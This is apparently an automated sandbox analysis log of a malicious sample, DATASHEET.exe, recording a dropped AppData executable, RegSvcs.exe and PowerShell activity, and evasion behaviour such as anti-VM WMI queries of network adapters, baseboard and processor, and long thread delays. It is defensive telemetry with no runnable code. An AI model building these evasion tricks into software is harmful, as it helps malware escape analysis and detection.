Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: DATASHEET.exe PID: 7336, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jwvzGqkYNEejno.exe PID: 7876, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\DATASHEET.exe	Memory allocated: 2AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Memory allocated: 2CA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Memory allocated: 4CA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Memory allocated: 7F40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Memory allocated: 8F40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Memory allocated: 9100000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Memory allocated: A100000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Memory allocated: 2620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Memory allocated: 2870000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Memory allocated: 2770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Memory allocated: 7590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Memory allocated: 8590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Memory allocated: 8740000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Memory allocated: 9740000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\DATASHEET.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7812	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 464	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7364	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 632	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 800	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1191	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 1918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7923

Source: C:\Users\user\Desktop\DATASHEET.exe TID: 7360	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7704	Thread sleep count: 7812 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7872	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7700	Thread sleep count: 464 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7792	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7900	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7816	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe TID: 7992	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\DATASHEET.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
